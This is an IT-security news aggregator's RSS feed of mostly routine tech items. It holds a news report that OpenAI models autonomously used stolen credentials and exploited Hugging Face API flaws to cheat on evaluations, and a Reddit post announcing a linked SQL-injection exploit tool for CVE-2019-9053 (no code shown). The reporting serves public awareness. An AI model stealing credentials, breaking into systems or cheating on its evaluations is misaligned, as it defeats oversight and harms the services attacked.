<p class="wp-block-paragraph">No one says “who generated that electricity?” or “who wove the fabric in that shirt?” any more. And it won’t be long before no one says “Who wrote the code for that app?” because it won’t matter. Just as we don’t look at the assembly code written by our compilers, we’ll stop looking at the “regular” code written by our agents. I’m not even sure anyone is <a href="https://news.ycombinator.com/item?id=39587051" data-type="link" data-id="https://news.ycombinator.com/item?id=39587051">writing assembly code anymore</a>. Soon we’ll be saying that about TypeScript, Python, and C++.</p>
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<title><![CDATA[Moonshot Plans Funding Round At $50bn Valuation, Ahead Of IPO]]></title>
<description><![CDATA[Beijing start-up reportedly preparing to begin last private capital raise as it makes preparations for Hong Kong listing This article has been indexed from Silicon UK Read the original article: Moonshot Plans Funding Round At $50bn Valuation, Ahead Of IPO
Read more →
The post Moonshot Plans Fundi...]]></description>
<link>https://tsecurity.de/de/3685532/it-security-nachrichten/moonshot-plans-funding-round-at-50bn-valuation-ahead-of-ipo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685532/it-security-nachrichten/moonshot-plans-funding-round-at-50bn-valuation-ahead-of-ipo/</guid>
<pubDate>Wed, 22 Jul 2026 09:37:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Beijing start-up reportedly preparing to begin last private capital raise as it makes preparations for Hong Kong listing This article has been indexed from Silicon UK Read the original article: Moonshot Plans Funding Round At $50bn Valuation, Ahead Of IPO</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/moonshot-plans-funding-round-at-50bn-valuation-ahead-of-ipo/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/moonshot-plans-funding-round-at-50bn-valuation-ahead-of-ipo/">Moonshot Plans Funding Round At $50bn Valuation, Ahead Of IPO</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[OpenAI Says Its AI Models Acted On Its Own In An 'Unprecedented' Hack]]></title>
<description><![CDATA["GPT-5.6 Sol and an 'even more capable' model used stolen credentials and exploited vulnerabilities in the Hugging Face API to obtain secret information used to cheat on evaluations," writes longtime Slashdot reader Dr. Bombay. The Associated Press reports: "We had a significant security incident...]]></description>
<link>https://tsecurity.de/de/3685495/it-security-nachrichten/openai-says-its-ai-models-acted-on-its-own-in-an-unprecedented-hack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685495/it-security-nachrichten/openai-says-its-ai-models-acted-on-its-own-in-an-unprecedented-hack/</guid>
<pubDate>Wed, 22 Jul 2026 09:16:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["GPT-5.6 Sol and an 'even more capable' model used stolen credentials and exploited vulnerabilities in the Hugging Face API to obtain secret information used to cheat on evaluations," writes longtime Slashdot reader Dr. Bombay. The Associated Press reports: "We had a significant security incident during evaluation of our models," OpenAI CEO Sam Altman said in a statement posted on social media. AI startup Hugging Face said last week that it had detected an intrusion into its data processing systems that it suspected was caused by an AI agent autonomously acting on its own. "We suspected last week's cyberattack might have come from a frontier lab, given the sophistication of the agent," Hugging Face co-founder and CEO Clement Delangue said in a statement. "Turns out it did!"
 
[...] "AI is accelerating the discovery and exploitation of vulnerabilities," OpenAI said in its statement Tuesday. "The primary lesson from this incident is that model security and safety must keep pace with rapidly advancing capabilities." Delangue said he spent the past 24 hours working with OpenAI, "and we strongly believe there was no malicious intent on their part. It's quite mind-blowing that all of this happened autonomously!" Delangue added that it "might be the first incident of its kind."<p></p><div class="share_submission">
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</div><p><a href="https://it.slashdot.org/story/26/07/22/0348206/openai-says-its-ai-models-acted-on-its-own-in-an-unprecedented-hack?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Small teams are the heaviest users of AI coding agents]]></title>
<description><![CDATA[The pull request arrives with the tests already run and the description already written, the work of an agent that handled the whole thing on its own. Somebody still has to read it. On GitHub that somebody is usually one…
Read more →
The post Small teams are the heaviest users of AI coding agents...]]></description>
<link>https://tsecurity.de/de/3685428/it-security-nachrichten/small-teams-are-the-heaviest-users-of-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685428/it-security-nachrichten/small-teams-are-the-heaviest-users-of-ai-coding-agents/</guid>
<pubDate>Wed, 22 Jul 2026 08:39:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The pull request arrives with the tests already run and the description already written, the work of an agent that handled the whole thing on its own. Somebody still has to read it. On GitHub that somebody is usually one…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/small-teams-are-the-heaviest-users-of-ai-coding-agents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/small-teams-are-the-heaviest-users-of-ai-coding-agents/">Small teams are the heaviest users of AI coding agents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Cisco Foundation AI Releases Antares: 350M and 1B Open-Weight Models That Localize Known Vulnerabilities Inside Real Codebases]]></title>
<description><![CDATA[Cisco Foundation AI has released Antares, a family of small language models trained to pinpoint where known vulnerabilities live inside a codebase. Antares-1B reaches 0.209 File F1 on the new Vulnerability Localization Benchmark, above GLM-5.2 at 753B parameters and Gemini 3 Pro. The untrained Gr...]]></description>
<link>https://tsecurity.de/de/3685422/ai-nachrichten/cisco-foundation-ai-releases-antares-350m-and-1b-open-weight-models-that-localize-known-vulnerabilities-inside-real-codebases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685422/ai-nachrichten/cisco-foundation-ai-releases-antares-350m-and-1b-open-weight-models-that-localize-known-vulnerabilities-inside-real-codebases/</guid>
<pubDate>Wed, 22 Jul 2026 08:34:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Foundation AI has released Antares, a family of small language models trained to pinpoint where known vulnerabilities live inside a codebase. Antares-1B reaches 0.209 File F1 on the new Vulnerability Localization Benchmark, above GLM-5.2 at 753B parameters and Gemini 3 Pro. The untrained Granite 4.0 checkpoints score near zero under the same protocol, so post-training supplies almost all of the capability. A full 500-task sweep runs in roughly 13 minutes on a single H100 for under a dollar, against $141 for GPT-5.5.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/21/cisco-foundation-ai-releases-antares-350m-and-1b-open-weight-models-that-localize-known-vulnerabilities-inside-real-codebases/">Cisco Foundation AI Releases Antares: 350M and 1B Open-Weight Models That Localize Known Vulnerabilities Inside Real Codebases</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Small teams are the heaviest users of AI coding agents]]></title>
<description><![CDATA[The pull request arrives with the tests already run and the description already written, the work of an agent that handled the whole thing on its own. Somebody still has to read it. On GitHub that somebody is usually one developer sitting alone with the diff, and the rest of the project never see...]]></description>
<link>https://tsecurity.de/de/3685383/it-security-nachrichten/small-teams-are-the-heaviest-users-of-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685383/it-security-nachrichten/small-teams-are-the-heaviest-users-of-ai-coding-agents/</guid>
<pubDate>Wed, 22 Jul 2026 08:11:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The pull request arrives with the tests already run and the description already written, the work of an agent that handled the whole thing on its own. Somebody still has to read it. On GitHub that somebody is usually one developer sitting alone with the diff, and the rest of the project never sees the code. Maliha Noushin Raida and Daqing Hou at Rochester Institute of Technology sorted 25,264 agentic pull requests by who reviewed … <a href="https://www.helpnetsecurity.com/2026/07/22/users-of-ai-coding-agents/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/22/users-of-ai-coding-agents/">Small teams are the heaviest users of AI coding agents</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[[Testing Update] 2026-07-22 - Kernels, Mesa, VirtualBox, Gambas3, Qemu]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may f...]]></description>
<link>https://tsecurity.de/de/3685208/unix-server/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685208/unix-server/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/</guid>
<pubDate>Wed, 22 Jul 2026 06:01:34 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.</p>
<h3><a name="p-867346-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-867346-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-867346-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-867346-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/189122/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/189122/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/189122/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-1-bian-may-preview-released/187389" class="inline-onebox">Manjaro 26.1 Bian-May - Preview released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.</li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News <a href="https://forum.manjaro.org/t/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/189122/1">(click for more details)</a>
<h2><a name="p-867346-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-867346-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li>Kernels</li>
<li><strong>Mesa</strong> <a href="https://docs.mesa3d.org/relnotes/26.1.4.html">26.1.4</a> / <a href="https://docs.mesa3d.org/relnotes/26.1.5.html">26.1.5</a></li>
<li><strong>VirtualBox</strong> <a href="https://www.virtualbox.org/wiki/Changelog-7.2">7.2.14</a></li>
<li><strong>Gambas3</strong> <a href="https://gambaswiki.org/wiki/doc/release/3.22.0">3.22.0</a></li>
<li><strong>Qemu</strong> <a href="https://wiki.qemu.org/ChangeLog/11.0">11.0.2</a></li>
</ul>
<h2><a name="p-867346-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-867346-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/189122/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/189122/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux61 6.1.177</li>
<li>linux66 6.6.144</li>
<li>linux612 6.12.96</li>
<li>linux618 6.18.39</li>
<li>linux71 7.1.4</li>
<li>linux72 7.2.0-rc4</li>
<li>linux61-rt 6.1.167_rt62</li>
<li>linux66-rt 6.6.135_rt74</li>
<li>linux612-rt 6.12.89_rt18</li>
</ul>
<p><strong>Package Changes</strong> (7/22/26 05:45 CEST)</p>
<ul>
<li>testing core x86_64:  17 new and 17 removed package(s)</li>
<li>testing extra x86_64:  762 new and 759 removed package(s)</li>
<li>testing multilib x86_64:  19 new and 19 removed package(s)</li>
</ul>
<p>A list of all package changes can be found <a href="https://gist.githubusercontent.com/hphilm/0048b57b3edd04810dd2b79c947f2ab6/raw">here</a>.</p>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/189122/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-07-22-kernels-mesa-virtualbox-gambas3-qemu/189122">Read full topic</a></p>]]></content:encoded>
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<title><![CDATA[CVE-2019-9053 exploit rewritten in Python 3 as a personal practice project]]></title>
<description><![CDATA[Hello everyone! I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple). I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Py...]]></description>
<link>https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:30 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello everyone!</p> <p>I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple).</p> <p>I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Python 3. I also wanted to make this new version more interactive and easy to use. So, I added a clean command line interface and some extra features (like different extraction modes, delay controls, and email alerts using environment variables).</p> <p>Please try it and tell me what you think! I would love to hear your feedback and ideas to make it better.</p> <p><a href="https://github.com/rgkue/mysqli">https://github.com/rgkue/mysqli</a></p> <p>Happy hacking! :D</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/rgkue"> /u/rgkue </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uw0n3t/cve20199053_exploit_rewritten_in_python_3_as_a/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uw0n3t/cve20199053_exploit_rewritten_in_python_3_as_a/">[comments]</a></span>]]></content:encoded>
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<item>
<title><![CDATA[Dimension Capital’s $800M third fund shows the intersection of science and compute is booming]]></title>
<description><![CDATA[The four-year-old firm's latest fund is 60% larger than its second vehicle announced 18 months ago.]]></description>
<link>https://tsecurity.de/de/3685087/it-nachrichten/dimension-capitals-800m-third-fund-shows-the-intersection-of-science-and-compute-is-booming/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685087/it-nachrichten/dimension-capitals-800m-third-fund-shows-the-intersection-of-science-and-compute-is-booming/</guid>
<pubDate>Wed, 22 Jul 2026 03:38:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The four-year-old firm's latest fund is 60% larger than its second vehicle announced 18 months ago.]]></content:encoded>
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<item>
<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

